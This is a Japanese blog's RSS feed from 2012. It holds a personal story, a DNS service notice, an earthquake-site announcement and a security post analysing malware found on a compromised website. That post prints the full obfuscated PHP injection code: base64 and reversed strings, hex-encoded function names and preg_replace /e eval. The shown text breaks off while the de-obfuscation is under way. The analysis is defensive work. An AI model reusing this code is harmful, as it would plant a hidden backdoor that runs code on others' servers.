<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>諸多日記</title>
	<atom:link href="http://isid.ai/feed/" rel="self" type="application/rss+xml" />
	<link>http://isid.ai</link>
	<description>Shot a day</description>
	<lastBuildDate>Thu, 03 May 2012 08:41:04 +0000</lastBuildDate>
	<language>ja</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
		<item>
		<title>妹がスマホを買った</title>
		<link>http://isid.ai/story/2012/05/03/594/</link>
		<comments>http://isid.ai/story/2012/05/03/594/#comments</comments>
		<pubDate>Thu, 03 May 2012 08:21:07 +0000</pubDate>
		<dc:creator>isidai</dc:creator>
				<category><![CDATA[ネタ]]></category>

		<guid isPermaLink="false">https://secure.isid.ai/?p=594</guid>
		<description><![CDATA[先月あたりから、妹が「スマホほしいスマホほしい」と言い出して、今日一緒に買いに行ってきた。 ガラケー脳の妹を「スマホ対応版妹」にアップグレードするのは非常に大変。 現在、docomoガラケーを使っている妹。今回は、家族と [...]]]></description>
			<content:encoded><![CDATA[<p>先月あたりから、妹が「スマホほしいスマホほしい」と言い出して、今日一緒に買いに行ってきた。</p>
<p>ガラケー脳の妹を「スマホ対応版妹」にアップグレードするのは非常に大変。</p>
<p>現在、docomoガラケーを使っている妹。今回は、家族との連絡の維持、メールなどの使い勝手から慣れるまで、ガラケーとスマホの2台持ちを提案。スマホはau iPhoneを買わせた。このau iPhoneを買わせるまでにいろいろあった。</p>
<p>まず、各キャリアから出ているAndroidなガラパゴススマートフォンは個人的には嫌いだったのでiPhoneがいいよ。文字入力やタッチ感度、アプリの完成度、バッテリーの持ち、OSアップデートの対応、ブラウザの挙動なども考慮しiPhone一択だと思ったのだが、</p>
<p>妹いわく「赤外線がない。ほかにどうやって連絡先を交換するんだ。」「画面が小さい（画面の物理的大きさだけで解像度なんて知らない）」「他機種よりカメラの画質が劣る（カタログスペックしかみてない）」という。</p>
<p>「Bumpとか電話番号で交換できる」＝＞「メール命」。</p>
<p>「解像度高いしフォントも綺麗だよ。ブラウザも変な挙動しないし。」＝＞「解像度ってなに。画面大きいほうがいいに決まってる。」（＝＞画面の大きさなら・・・と、タブレットおすすめしたらキレられた。）</p>
<p>「iPhoneのカメラ綺麗に撮れるよ」＝＞「画素数少ないし画面小さいから良くない。レグザとかアクオスなら綺麗なはずだ。」（＝＞タブレッ（ｒｙ）</p>
<p>「アップデートが・・・」＝＞「アップデートってなんじゃ？」（基本的にガラケーはアップデート不要だからな・・・</p>
<p>&nbsp;</p>
<p>という、なぜかガラパゴスに染まった妹はAndroidマンセーしていて、アップルに染まった僕はiPhoneマンセーし、auのねーさんも困ってた。</p>
<p>なんとか、なんとか妹を説き伏せ、iPhoneに決定。ちなみにソフトバンクiPhoneは田舎電波の関係で懸念があったのでauにした。900MHz帯とか石巻どんくらい入るんですかね・・・？</p>
<p>家に帰ってきてから、LINE・Viberをとりあえず入れた。これしか使うものないんだよね・・・。Twitterは一応登録してインストールしたけど、@UN_NERVしかフォローしてない状態。</p>
<p>その状態で使わせてみたら、「戻るボタンはどこだ」と言い出す。<br />
僕「いや、真ん中のホームで戻るかダブルクリックでマルチタスクが・・・」<br />
妹「マル・・・は？（イミフ　いいから戻るボタンは？いちいちホームに戻んないと行けないのこれ・・・」<br />
僕「だからマルチ・・・(´・ω・｀)」 （マルチタスクはガラケーにもあるのに・・・）</p>
<p>そんで「mixiがホーム画面にない！」とか言い出したのでSafariでmixiにアクセス。<br />
ガラケー脳になった妹は「かんたんログインができない」と言い出す。最初に設定したパスワードもわからないので再発行。</p>
<p>再発行画面で「パスワード」「パスワード（確認）」に それぞれ違うパスワードを入力している・・・まずパスワードというものが何なのかわからないっぽい・・・</p>
<p>そして無事にパスワード再発行が完了し、iPhoneでパスワードを打とうとしたその時・・・</p>
<p>妹「さっきいろいろ打ったせいで、パスワード何に設定したか忘れたんだけど・・・」</p>
<p>(´；ω；｀)ﾌﾞﾜｯ　もうダメだ・・・。ライフ残りすくないぞ。</p>
<p>再びパスワードを再設定・・・。</p>
<p>リテラシーの低い人が無理にデジタル機器を使おうとするとこうなるんですね・・・。<br />
ガラケーのままいればいいのに・・・OTL</p>
<p>結論：サバイバル派の妹はスマホとかより免許取らせて無線持たせるほうがいい。</p>
]]></content:encoded>
			<wfw:commentRss>http://isid.ai/story/2012/05/03/594/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Gehirn DNS（β）をご利用中の方へ</title>
		<link>http://isid.ai/dev/2012/04/06/591/</link>
		<comments>http://isid.ai/dev/2012/04/06/591/#comments</comments>
		<pubDate>Fri, 06 Apr 2012 09:35:43 +0000</pubDate>
		<dc:creator>isidai</dc:creator>
				<category><![CDATA[開発]]></category>

		<guid isPermaLink="false">https://secure.isid.ai/?p=591</guid>
		<description><![CDATA[いつも Gehirn DNS をご利用いただきありがとうございます。 Gehirn DNS の仕様変更に伴い、下記のようにネームサーバの変更及び設定変更をお願いいたします。 ネームサーバ変更 ns.gehirn.jp n [...]]]></description>
			<content:encoded><![CDATA[<p>いつも Gehirn DNS をご利用いただきありがとうございます。<br />
Gehirn DNS の仕様変更に伴い、下記のようにネームサーバの変更及び設定変更をお願いいたします。</p>
<h2>ネームサーバ変更</h2>
<ol>
<li>ns.gehirn.jp</li>
<li>ns.securedns.jp</li>
<li>ns.gehirndns.com</li>
<li>ns.gehirn.co.uk</li>
</ol>
<h2>設定変更</h2>
<p>各ドメインのNSレコードも同様に変更する必要があります。手動で上記を設定いただくか、NSリソースの右下にある「NSレコードをリセット」をご利用ください。</p>
<p>&nbsp;</p>
<p><a href="http://pckles.com/isidai/c3bf10.png"><img class="aligncenter" title="NS resource reset" src="http://pckles.com/isidai/c3bf10.png" alt="" width="293" height="133" /></a></p>
<p>&nbsp;</p>
<p>以上、どうぞ宜しくお願い致します。</p>
]]></content:encoded>
			<wfw:commentRss>http://isid.ai/dev/2012/04/06/591/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>地震情報サイト作った</title>
		<link>http://isid.ai/dev/2012/03/18/587/</link>
		<comments>http://isid.ai/dev/2012/03/18/587/#comments</comments>
		<pubDate>Sun, 18 Mar 2012 04:18:32 +0000</pubDate>
		<dc:creator>isidai</dc:creator>
				<category><![CDATA[開発]]></category>

		<guid isPermaLink="false">https://secure.isid.ai/?p=587</guid>
		<description><![CDATA[なかなか良い感じに地震情報を提供してくれるAPIがなかったので自分で作りました。 そんで、せっかくAPI作ったなら、API使ったサイトもつくろうと思って一晩で作ってみました。 Bootstrap様様ですぐできました。 地 [...]]]></description>
			<content:encoded><![CDATA[<p>なかなか良い感じに地震情報を提供してくれるAPIがなかったので自分で作りました。<br />
そんで、せっかくAPI作ったなら、API使ったサイトもつくろうと思って一晩で作ってみました。</p>
<p>Bootstrap様様ですぐできました。</p>
<p>地震情報::zish.in<br />
<a href="http://zish.in/">http://zish.in/</a></p>
<p>キャッシュサーバ挟んでるので毎秒2000アクセスくらいは捌けるはずです。APIはまだ使わないでねって事になってるけど、使う場合は１秒ごとのアクセスとかでも大丈夫です。（キャッシュなので30秒くらいは内容が更新されない場合がありますが…）</p>
<p><a href="http://twitter.com/UN_NERV">UN_NERV</a>でもこのAPIを使用しています。</p>
]]></content:encoded>
			<wfw:commentRss>http://isid.ai/dev/2012/03/18/587/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>そらいさんのサイトが改竄されたそうなので解析してみた</title>
		<link>http://isid.ai/security/2012/01/23/567/</link>
		<comments>http://isid.ai/security/2012/01/23/567/#comments</comments>
		<pubDate>Mon, 23 Jan 2012 09:43:01 +0000</pubDate>
		<dc:creator>isidai</dc:creator>
				<category><![CDATA[セキュリティ]]></category>

		<guid isPermaLink="false">http://isid.ai/?p=567</guid>
		<description><![CDATA[そらいさんのサービスが改ざん被害にあったとのことで、攻撃コードが載っていたので解析して見ました。 &#160; &#160; ということで、上記のコードを解析しましたが、難読化の仕組みは単純なのですが、コードを追いかける [...]]]></description>
			<content:encoded><![CDATA[<p>そらいさんのサービスが<a title="脆弱性を突かれて Web サイトを改ざんされてウィルス呼び出しコードを埋めこまれたファイルの調べ方と除去と対応作業と申請手続きについて" href="http://weble.org/2012/01/23/tampering" target="_blank">改ざん被害にあったとのこと</a>で、攻撃コードが載っていたので解析して見ました。</p>
<p><a href="http://pckles.com/isidai/a60a78.png"><img class="aligncenter" title="不正なコード（soraiyさんのサイトより）" src="http://pckles.com/isidai/a60a78.png" alt="" width="559" height="630" /></a></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>ということで、上記のコードを解析しましたが、難読化の仕組みは単純なのですが、コードを追いかけるのに中々疲れましたｗｗ</p>
<p>&nbsp;</p>
<h2>問題のコード</h2>
<p>問題のコードはこれです。</p>
<pre>&lt;?php
@error_reporting(0);
if (!isset($eva1fYlbakBcVSir)) {
    $eva1fYlbakBcVSir = "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pO31ldmFsKGV2YWxsd2hWZklWbldQYlQoJzspKSI9QVNmN2t5YU5SbWJCUlhXdk5uUmpGVVdKeFdZMlZHSm9VR1p2TldaazlGTjJVMmNoSkdJdUpYZDBWbWM3QlNLcjFFWnVGRWRaOTJjR05XUVpsRWJoWlhaa2dpUlRKa1pQbDBaaFJGYlBCRmFPMUViaFpYWmc0MmJwUjNZdVZuWiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIjdraUk5MEVTa2htVXpNbUlvWTBVQ1oyVEpkV1lVeDJUUWhtVE54V1kyVldQWE5GWm5ORVpWbFZhRk5WYmh4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiN2tpSTkwVFFqQmpVSUZtSW9ZMFVDWjJUSmRXWVV4MlRRaG1UTnhXWTJWV1BYWlZjaFpsY3BWMlZVeFdZMlZHSiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIjdraUk5UXpWaEpDS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGwxalFtaEZSVmRFZGlWRlpDeFdZMlZHSiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIj09d09wSVNQOUVWUzJSMlZKSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDFUWlZwblJ1VjJRc0oyZFJ4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiPXNUWHBJU1YxVWxVSVpFTVlObFZ3VWxWNVlVVlZKbFJUSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbHRsVUZabFVGTjFYazB6UW1OMlpOQm5kcE5YVHl4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiPXNUS3BraWNxTmxWakYwYWhSR1daUlhNaFpYWmtnaWRsSm5jME5IS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGxoQ2JoWlhaIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiPXNUS3BJU1A5YzJZc2hYYlpSblJ0VmxJb1kwVUNaMlRKZFdZVXgyVFFobVROeFdZMlZHSXNraUkwWTFSYVZuUlhkbElvWTBVQ1oyVEpkV1lVeDJUUWhtVE54V1kyVkdJc2tpSTlrRVdhSkRiSEZtYUtoVldtWjBWaEpDS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGxCQ0xwSUNNNTBXVVA1a1ZVSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbEJDTHBJU1BCNTJZeGduTVZKQ0tHTmxRbTlVU25GR1ZzOUVVbzVVVHNGbWRsQkNMcElDYjRKalcybGpNU0pDS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGxoU2VoSm5jaEJTUGdRSFVFaDJiemRFZHVSRWRVeFdZMlZHSiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIj09d09wa2lJNVFIVkxwblVEdGtlUzVtWXNKbGJpWm5UeWdGTVdKaldtWjFSaUJuV0hGMVowMDJZeElGV2FsSGRJbEVjTmhrU3ZSVGJSMWtUeUlsU3NCRFZhWjBNaHBrU1ZSbFJrWmtZb3BGV2FkR055SUdjU05UVzFabGJhSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbGhDYmhaWFoiKGVkb2NlZF80NmVzYWIobGF2ZScpKTtldmFsKGV2YWxsd2hWZklWbldQYlQoJzspKSI9PXdPcGdDTWtSR0pnMERJWXBIUnloMVRJZDJTbnhXWTJWR0oiKGVkb2NlZF80NmVzYWIobGF2ZScpKTtldmFsKGV2YWxsd2hWZklWbldQYlQoJzspKSI9PVFmOXREYWpGRVRhdEdWQ1pGYjFGM1p6TjNjc0ZtZGxSQ0l2aDJZbHRUWHhzRmFqRkVUYXRHVkNaRmIxRjNaek4zY3NGbWRsUkNJOUFDYWpGRVRhdEdWQ1pGYjFGM1p6TjNjc0ZtZGxSQ0k3a0NhakZFVGF0R1ZDWkZiMUYzWnpOM2NzRm1kbFJDTGxWbGVHNVdaRHhtWTNGRmJoWlhaa2dTWms5R2J3aFhaZzBESW9OV1FNcDFhVUprVnNWWGNuTjNjenhXWTJWR0o3bFNLbFZsZUc1V1pEeG1ZM0ZGYmhaWFprd0NhakZFVGF0R1ZDWkZiMUYzWnpOM2NzRm1kbFJDS3lSM2N5UjNjb0FpWnB0VEtwMFZLaVVsVHhRVlM1WVVWVkpsUlRKQ0tHTmxRbTlVU25GR1ZzOUVVbzVVVHNGbWRsdGxVRlpsVUZOMVhrZ1NaazkyWXVWR2J5Vm5McElTT24xbVNpZ2lSVEprWlBsMFpoUkZiUEJGYU8xRWJoWlhadWt5UW1OMlpOQm5kcE5YVHl4V1kyVkdKb1VHWnZObWJseG1jMTVTS2lrVFN0cGtJb1kwVUNaMlRKZFdZVXgyVFFobVROeFdZMlZtTGRsaUk5a2tSU1ZrUndnbFJTRkRWT1oxYVZKQ0tHTmxRbTlVU25GR1ZzOUVVbzVVVHNGbWRsdGxVRlpsVUZOMVhrNFNLaTBETVVGbUlvWTBVQ1oyVEpkV1lVeDJUUWhtVE54V1kyVm1McElTUDRRMFlpZ2lSVEprWlBsMFpoUkZiUEJGYU8xRWJoWlhadWtpSXZKa2JNSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDVpUW1oRlJWZEVkaVZGWkN4V1kyVkdKdWtpSTkwemRNSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDVDVzZSa2NZOUVTbnQwWnNGbWRsUmlMcElTUDRrSFRpZ2lSVEprWlBsMFpoUkZiUEJGYU8xRWJoWlhadWtpSTkwelpQSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDV5VldGWFlXSlhhbGRGVnNGbWRsUkNLdUpFVGpkVVNKOVVXeHRXU0MxVVJYeFdZMlZHSTlBQ2FqRkVUYXRHVkNaRmIxRjNaek4zY3NGbWRsUkNJN2tDTXdnRE14c1NLb1VXYnBSSExwa2lJOTBFU2tobVV6TW1Jb1kwVUNaMlRKZFdZVXgyVFFobVROeFdZMlZHSzFRV2JzYzFVa2QyUWtWVldwVjBVdEZHYmhaWFprZ1NacHQyYnZOR2RsTkhRZ3NISWxOSGJsQlNmN0JTS3BrU1hYTkZabk5FWlZsVmFGTlZiaHhXWTJWR0piVlVTTDkwVEQ5RkpvUVhaek5YYW9BaWN2QlNLcE1rWmpkV1R3WlhhejFrY3NGbWRsUkNJc0lTYXZJQ0l1QVNLMEJGUm85MmNIUm5iRVJIVnNGbWRsUkNJc0lDZmlnU1prOUdidzFXYWc0Q0lpOGlJb2cyWTBGV2JmZFdaeUJIS29ZV2EiKGVkb2NlZF80NmVzYWIobGF2ZScpKTskZXZhbFVkQ1hURFFFUm1XbkRTID0xODc5Mjt9";
    $eva1tYlbakBcVSir = "\x65\144\x6f\154\x70\170\x65";
    $eva1tYldakBcVSir = "\x73\164\x72\162\x65\166";
    $eva1tYldakBoVS1r = "\x65\143\x61\154\x70\145\x72\137\x67\145\x72\160";
    $eva1tYidokBoVSjr = "\x3b\51\x29\135\x31\133\x72\152\x53\126\x63\102\x6b\141\x64\151\x59\164\x31\141\x76\145\x24\50\x65\144\x6f\143\x65\144\x5f\64\x36\145\x73\141\x62\50\x6c\141\x76\145\x40\72\x65\166\x61\154\x28\42\x5c\61\x22\51\x3b\72\x40\50\x2e\53\x29\100\x69\145";$eva1tYldokBcVSjr=$eva1tYldakBcVSir($eva1tYldakBoVS1r);
    $eva1tYldakBcVSjr=$eva1tYldakBcVSir($eva1tYlbakBcVSir);
    $eva1tYidakBcVSjr = $eva1tYldakBcVSjr(chr(2687.5*0.016), $eva1fYlbakBcVSir);
    $eva1tYXdakAcVSjr = $eva1tYidakBcVSjr[0.031*0.061];
    $eva1tYidokBcVSjr = $eva1tYldakBcVSjr(chr(3625*0.016), $eva1tYidokBoVSjr);
    $eva1tYldokBcVSjr($eva1tYidokBcVSjr[0.016*(7812.5*0.016)],$eva1tYidokBcVSjr[62.5*0.016],$eva1tYldakBcVSir($eva1tYidokBcVSjr[0.061*0.031]));
    $eva1tYldakBcVSir = "";
    $eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;
    $eva1tYidokBoVSjr = $eva1tYlbakBcVSir;
    $eva1tYldakBcVSir = "\x73\164\x72\x65\143\x72\160\164\x72";
    $eva1tYlbakBcVSir = "\x67\141\x6f\133\x70\170\x65";
    $eva1tYldakBoVS1r = "\x65\143\x72\160";
    $eva1tYldakBcVSir = "";
    $eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;
    $eva1tYidokBoVSjr = $eva1tYlbakBcVSir;
}
?&gt;</pre>
<p>&nbsp;</p>
<p>これを展開していきます。</p>
<pre>&lt;?php
 @error_reporting(0);
 if (!isset($eva1fYlbakBcVSir)) {
 //$eva1fYlbakBcVSir = "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